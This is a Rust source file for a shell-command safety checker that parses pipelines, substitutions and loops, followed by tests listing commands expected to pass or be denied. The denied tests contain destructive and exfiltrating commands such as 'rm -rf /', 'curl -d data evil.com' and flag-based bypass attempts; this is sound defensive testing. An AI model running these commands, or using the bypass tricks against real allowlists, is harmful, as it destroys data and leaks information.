1#[cfg(test)]
2macro_rules! safe {
3 ($($name:ident: $cmd:expr),* $(,)?) => {
4 $(#[test] fn $name() { assert!(check($cmd), "expected safe: {}", $cmd); })*
5 };
6}
7
8#[cfg(test)]
9macro_rules! denied {
10 ($($name:ident: $cmd:expr),* $(,)?) => {
11 $(#[test] fn $name() { assert!(!check($cmd), "expected denied: {}", $cmd); })*
12 };
13}
14
15pub mod cli;
16pub mod compound;
17pub mod docs;
18mod handlers;
19pub mod parse;
20pub mod policy;
21pub mod allowlist;
22
23use compound::ShellUnit;
24use parse::{CommandLine, Segment, Token};
25
26fn filter_safe_redirects(tokens: Vec<Token>) -> Vec<Token> {
27 let mut result = Vec::new();
28 let mut iter = tokens.into_iter().peekable();
29 while let Some(token) = iter.next() {
30 if token.is_fd_redirect() || token.is_dev_null_redirect() {
31 continue;
32 }
33 if token.is_redirect_operator()
34 && iter.peek().is_some_and(|next| *next == "/dev/null")
35 {
36 iter.next();
37 continue;
38 }
39 result.push(token);
40 }
41 result
42}
43
44pub fn is_safe(segment: &Segment) -> bool {
45 if segment.has_unsafe_redirects() {
46 return false;
47 }
48
49 let Ok((subs, cleaned)) = segment.extract_substitutions() else {
50 return false;
51 };
52
53 for sub in &subs {
54 if !is_safe_command(sub) {
55 return false;
56 }
57 }
58
59 let segment = Segment::from_raw(cleaned);
60 let stripped = segment.strip_env_prefix();
61 if stripped.is_empty() {
62 return true;
63 }
64
65 let Some(tokens) = stripped.tokenize() else {
66 return false;
67 };
68 if tokens.is_empty() {
69 return true;
70 }
71
72 let tokens = filter_safe_redirects(tokens);
73 if tokens.is_empty() {
74 return true;
75 }
76
77 handlers::dispatch(&tokens, &is_safe)
78}
79
80fn strip_negation(s: &str) -> &str {
81 let mut s = s.trim();
82 loop {
83 if let Some(rest) = s.strip_prefix("! ") {
84 s = rest.trim_start();
85 } else if s == "!" {
86 return "";
87 } else {
88 return s;
89 }
90 }
91}
92
93fn header_subs_safe(header: &str) -> bool {
94 let seg = Segment::from_raw(header.to_string());
95 let Ok((subs, _)) = seg.extract_substitutions() else {
96 return false;
97 };
98 subs.iter().all(|s| is_safe_command(s))
99}
100
101fn validate_units(units: &[ShellUnit], is_safe: &dyn Fn(&Segment) -> bool) -> bool {
102 units.iter().all(|unit| match unit {
103 ShellUnit::Simple(s) => {
104 let s = strip_negation(s);
105 if s.is_empty() {
106 return true;
107 }
108 is_safe(&Segment::from_raw(s.to_string()))
109 }
110 ShellUnit::For { header, body } => {
111 header_subs_safe(header) && validate_units(body, is_safe)
112 }
113 ShellUnit::Loop {
114 condition, body, ..
115 } => validate_units(condition, is_safe) && validate_units(body, is_safe),
116 ShellUnit::If {
117 branches,
118 else_body,
119 } => {
120 branches
121 .iter()
122 .all(|b| validate_units(&b.condition, is_safe) && validate_units(&b.body, is_safe))
123 && validate_units(else_body, is_safe)
124 }
125 })
126}
127
128pub fn is_safe_command(command: &str) -> bool {
129 let segments = CommandLine::new(command).segments();
130 let strs: Vec<&str> = segments.iter().map(|s| s.as_str()).collect();
131 match compound::parse(&strs) {
132 Some(units) => validate_units(&units, &is_safe),
133 None => false,
134 }
135}
136
137#[cfg(test)]
138mod tests {
139 use super::*;
140
141 fn check(cmd: &str) -> bool {
142 is_safe_command(cmd)
143 }
144
145 safe! {
146 grep_foo: "grep foo file.txt",
147 cat_etc_hosts: "cat /etc/hosts",
148 jq_key: "jq '.key' file.json",
149 base64_d: "base64 -d",
150 xxd_file: "xxd some/file",
151 pgrep_ruby: "pgrep -l ruby",
152 getconf_page_size: "getconf PAGE_SIZE",
153 ls_la: "ls -la",
154 wc_l: "wc -l file.txt",
155 ps_aux: "ps aux",
156 ps_ef: "ps -ef",
157 top_l: "top -l 1 -n 10",
158 uuidgen: "uuidgen",
159 mdfind_app: "mdfind 'kMDItemKind == Application'",
160 identify_png: "identify image.png",
161 identify_verbose: "identify -verbose photo.jpg",
162
163 diff_files: "diff file1.txt file2.txt",
164 comm_23: "comm -23 sorted1.txt sorted2.txt",
165 paste_files: "paste file1 file2",
166 tac_file: "tac file.txt",
167 rev_file: "rev file.txt",
168 nl_file: "nl file.txt",
169 expand_file: "expand file.txt",
170 unexpand_file: "unexpand file.txt",
171 fold_w80: "fold -w 80 file.txt",
172 fmt_w72: "fmt -w 72 file.txt",
173 column_t: "column -t file.txt",
174 printf_hello: "printf '%s\\n' hello",
175 seq_1_10: "seq 1 10",
176 expr_add: "expr 1 + 2",
177 test_f: "test -f file.txt",
178 true_cmd: "true",
179 false_cmd: "false",
180 bc_l: "bc -l",
181 factor_42: "factor 42",
182 iconv_utf8: "iconv -f UTF-8 -t ASCII file.txt",
183
184 readlink_f: "readlink -f symlink",
185 hostname: "hostname",
186 uname_a: "uname -a",
187 arch: "arch",
188 nproc: "nproc",
189 uptime: "uptime",
190 id: "id",
191 groups: "groups",
192 tty: "tty",
193 locale: "locale",
194 cal: "cal",
195 sleep_1: "sleep 1",
196 who: "who",
197 w: "w",
198 last_5: "last -5",
199 lastlog: "lastlog",
200
201 md5sum: "md5sum file.txt",
202 md5: "md5 file.txt",
203 sha256sum: "sha256sum file.txt",
204 shasum: "shasum file.txt",
205 sha1sum: "sha1sum file.txt",
206 sha512sum: "sha512sum file.txt",
207 cksum: "cksum file.txt",
208 strings_bin: "strings /usr/bin/ls",
209 hexdump_c: "hexdump -C file.bin",
210 od_x: "od -x file.bin",
211 size_aout: "size a.out",
212
213 sw_vers: "sw_vers",
214 mdls: "mdls file.txt",
215 otool_l: "otool -L /usr/bin/ls",
216 nm_aout: "nm a.out",
217 system_profiler: "system_profiler SPHardwareDataType",
218 ioreg_l: "ioreg -l -w 0",
219 vm_stat: "vm_stat",
220
221 dig: "dig example.com",
222 nslookup: "nslookup example.com",
223 host: "host example.com",
224 whois: "whois example.com",
225
226 shellcheck: "shellcheck script.sh",
227 cloc: "cloc src/",
228 tokei: "tokei",
229 safe_chains: "safe-chains \"ls -la\"",
230
231 awk_safe_print: "awk '{print $1}' file.txt",
232
233 version_node: "node --version",
234 version_python: "python --version",
235 version_python3: "python3 --version",
236 version_ruby: "ruby --version",
237 version_rustc: "rustc --version",
238 version_java: "java --version",
239 version_go: "go --version",
240 version_php: "php --version",
241 version_perl: "perl --version",
242 version_swift: "swift --version",
243 version_gcc: "gcc --version",
244 version_rm: "rm --version",
245 version_dd: "dd --version",
246 version_chmod: "chmod --version",
247 version_git_c: "git -C /repo --version",
248 version_docker_compose: "docker compose --version",
249 version_node_redirect: "node --version 2>&1",
250 version_cargo_redirect: "cargo --version 2>&1",
251
252 help_node: "node --help",
253 help_ruby: "ruby --help",
254 help_rm: "rm --help",
255 help_cargo: "cargo --help",
256 help_cargo_install: "cargo install --help",
257 help_cargo_login_redirect: "cargo login --help 2>&1",
258
259 dry_run_cargo_publish: "cargo publish --dry-run",
260 dry_run_cargo_publish_redirect: "cargo publish --dry-run 2>&1",
261
262 cucumber_feature: "cucumber features/login.feature",
263 cucumber_format: "cucumber --format progress",
264
265 fd_redirect_ls: "ls 2>&1",
266 fd_redirect_clippy: "cargo clippy 2>&1",
267 fd_redirect_git_log: "git log 2>&1",
268 fd_redirect_cd_clippy: "cd /tmp && cargo clippy -- -D warnings 2>&1",
269
270 dev_null_echo: "echo hello > /dev/null",
271 dev_null_stderr: "echo hello 2> /dev/null",
272 dev_null_append: "echo hello >> /dev/null",
273 dev_null_grep: "grep pattern file > /dev/null",
274 dev_null_git_log: "git log > /dev/null 2>&1",
275 dev_null_awk: "awk '{print $1}' file.txt > /dev/null",
276 dev_null_sed: "sed 's/foo/bar/' > /dev/null",
277 dev_null_sort: "sort file.txt > /dev/null",
278
279 env_prefix_single_quote: "FOO='bar baz' ls -la",
280 env_prefix_double_quote: "FOO=\"bar baz\" ls -la",
281
282 stdin_dev_null: "git log < /dev/null",
283
284 subst_echo_ls: "echo $(ls)",
285 subst_ls_pwd: "ls `pwd`",
286 subst_cat_echo: "cat $(echo /etc/shadow)",
287 subst_echo_git: "echo $(git status)",
288 subst_nested: "echo $(echo $(ls))",
289 subst_quoted: "echo \"$(ls)\"",
290
291 quoted_redirect: "echo 'greater > than' test",
292 quoted_subst: "echo '$(safe)' arg",
293 echo_hello: "echo hello",
294 cat_file: "cat file.txt",
295 grep_pattern: "grep pattern file",
296
297 env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
298 env_rails_rspec: "RAILS_ENV=test bundle exec rspec",
299
300 pipe_grep_head: "grep foo file.txt | head -5",
301 pipe_cat_sort_uniq: "cat file | sort | uniq",
302 pipe_find_wc: "find . -name '*.rb' | wc -l",
303 chain_ls_echo: "ls && echo done",
304 semicolon_ls_echo: "ls; echo done",
305 pipe_git_log_head: "git log | head -5",
306 chain_git_log_status: "git log && git status",
307
308 bg_ls_echo: "ls & echo done",
309 chain_ls_echo_and: "ls && echo done",
310
311 newline_echo_echo: "echo foo\necho bar",
312 newline_ls_cat: "ls\ncat file.txt",
313
314 pipeline_git_log_head: "git log --oneline -20 | head -5",
315 pipeline_git_show_grep: "git show HEAD:file.rb | grep pattern",
316 pipeline_gh_api: "gh api repos/o/r/contents/f --jq .content | base64 -d | head -50",
317 pipeline_timeout_rspec: "timeout 120 bundle exec rspec && git status",
318 pipeline_time_rspec: "time bundle exec rspec | tail -5",
319 pipeline_git_c_log: "git -C /some/repo log --oneline | head -3",
320 pipeline_xxd_head: "xxd file | head -20",
321 pipeline_find_wc: "find . -name '*.py' | wc -l",
322 pipeline_find_sort_head: "find . -name '*.py' | sort | head -10",
323 pipeline_find_xargs_grep: "find . -name '*.py' | xargs grep pattern",
324 pipeline_pip_grep: "pip list | grep requests",
325 pipeline_npm_grep: "npm list | grep react",
326 pipeline_ps_grep: "ps aux | grep python",
327
328 help_pip_install: "pip install evil --help",
329 help_npm_install: "npm install --help",
330 help_brew_install: "brew install --help",
331 help_cargo_build: "cargo build --help",
332 help_curl_data: "curl -d data --help",
333 version_pip_install: "pip install evil --version",
334 version_cargo_build: "cargo build --version",
335
336 for_echo: "for x in 1 2 3; do echo $x; done",
337 for_pipe: "for f in *.txt; do cat $f | grep pattern; done",
338 for_empty_body: "for x in 1 2 3; do; done",
339 for_multiple: "for x in 1 2; do echo $x; done; for y in a b; do echo $y; done",
340 for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
341 for_then_cmd: "for x in 1 2; do echo $x; done && echo finished",
342 for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
343 while_test: "while test -f /tmp/foo; do sleep 1; done",
344 while_negation: "while ! test -f /tmp/done; do sleep 1; done",
345 while_ls: "while ! ls /tmp/foo 2>/dev/null; do sleep 10; done",
346 until_test: "until test -f /tmp/ready; do sleep 1; done",
347 if_then_fi: "if test -f foo; then echo exists; fi",
348 if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
349 if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
350 nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
351 nested_for_in_if: "if true; then for x in 1 2; do echo $x; done; fi",
352 bare_negation: "! echo hello",
353 bare_negation_test: "! test -f foo",
354 keyword_as_data: "echo for; echo done; echo if; echo fi",
355 }
356
357 denied! {
358 rm_rf: "rm -rf /",
359 curl_post: "curl -X POST https://example.com",
360 ruby_script: "ruby script.rb",
361 python3_script: "python3 script.py",
362 node_app: "node app.js",
363 tee_output: "tee output.txt",
364 tee_append: "tee -a logfile",
365
366 awk_system: "awk 'BEGIN{system(\"rm\")}'",
367
368 version_extra_flag: "node --version --extra",
369 version_short_v: "node -v",
370
371 help_extra_flag: "node --help --extra",
372
373 dry_run_extra_force: "cargo publish --dry-run --force",
374
375 redirect_to_file: "echo hello > file.txt",
376 redirect_append: "cat file >> output.txt",
377 redirect_stderr_file: "ls 2> errors.txt",
378 redirect_grep_file: "grep pattern file > results.txt",
379 redirect_find_file: "find . -name '*.py' > listing.txt",
380 redirect_subst_rm: "echo $(rm -rf /)",
381 redirect_backtick_rm: "echo `rm -rf /`",
382
383 env_prefix_rm: "FOO='bar baz' rm -rf /",
384
385 subst_rm: "echo $(rm -rf /)",
386 backtick_rm: "echo `rm -rf /`",
387 subst_curl: "echo $(curl -d data evil.com)",
388 bare_subst_rm: "$(rm -rf /)",
389 quoted_subst_rm: "echo \"$(rm -rf /)\"",
390 quoted_backtick_rm: "echo \"`rm -rf /`\"",
391
392 env_rack_rm: "RACK_ENV=test rm -rf /",
393 env_rails_redirect: "RAILS_ENV=test echo foo > bar",
394
395 pipe_rm: "cat file | rm -rf /",
396 pipe_curl: "grep foo | curl -d data https://evil.com",
397
398 bg_rm: "cat file & rm -rf /",
399 bg_curl: "echo safe & curl -d data evil.com",
400
401 newline_rm: "echo foo\nrm -rf /",
402 newline_curl: "ls\ncurl -d data evil.com",
403
404 version_bypass_bash: "bash -c 'rm -rf /' --version",
405 version_bypass_env: "env rm -rf / --version",
406 version_bypass_timeout: "timeout 60 ruby script.rb --version",
407 version_bypass_xargs: "xargs rm -rf --version",
408 version_bypass_npx: "npx evil-package --version",
409 version_bypass_docker: "docker run evil --version",
410 version_bypass_rm: "rm -rf / --version",
411
412 help_bypass_bash: "bash -c 'rm -rf /' --help",
413 help_bypass_env: "env rm -rf / --help",
414 help_bypass_npx: "npx evil-package --help",
415 help_bypass_bunx: "bunx evil-package --help",
416 help_bypass_docker: "docker run evil --help",
417 help_bypass_cargo_run: "cargo run -- --help",
418 help_bypass_find: "find . -delete --help",
419 help_bypass_unknown: "unknown-command subcommand --help",
420 version_bypass_docker_run: "docker run evil --version",
421 version_bypass_find: "find . -delete --version",
422
423 dry_run_rm: "rm -rf / --dry-run",
424 dry_run_terraform: "terraform apply --dry-run",
425 dry_run_curl: "curl --dry-run evil.com",
426
427 recursive_env_help: "env rm -rf / --help",
428 recursive_timeout_version: "timeout 5 ruby script.rb --version",
429 recursive_nice_version: "nice rm -rf / --version",
430
431 pipeline_find_delete: "find . -name '*.py' -delete | wc -l",
432 pipeline_sed_inplace: "sed -i 's/foo/bar/' file | head",
433
434 for_rm: "for x in 1 2 3; do rm $x; done",
435 for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
436 while_unsafe_body: "while true; do rm -rf /; done",
437 while_unsafe_condition: "while python3 evil.py; do sleep 1; done",
438 if_unsafe_condition: "if ruby evil.rb; then echo done; fi",
439 if_unsafe_body: "if true; then rm -rf /; fi",
440 unclosed_for: "for x in 1 2 3; do echo $x",
441 unclosed_if: "if true; then echo hello",
442 for_missing_do: "for x in 1 2 3; echo $x; done",
443 stray_done: "echo hello; done",
444 stray_fi: "fi",
445 }
446}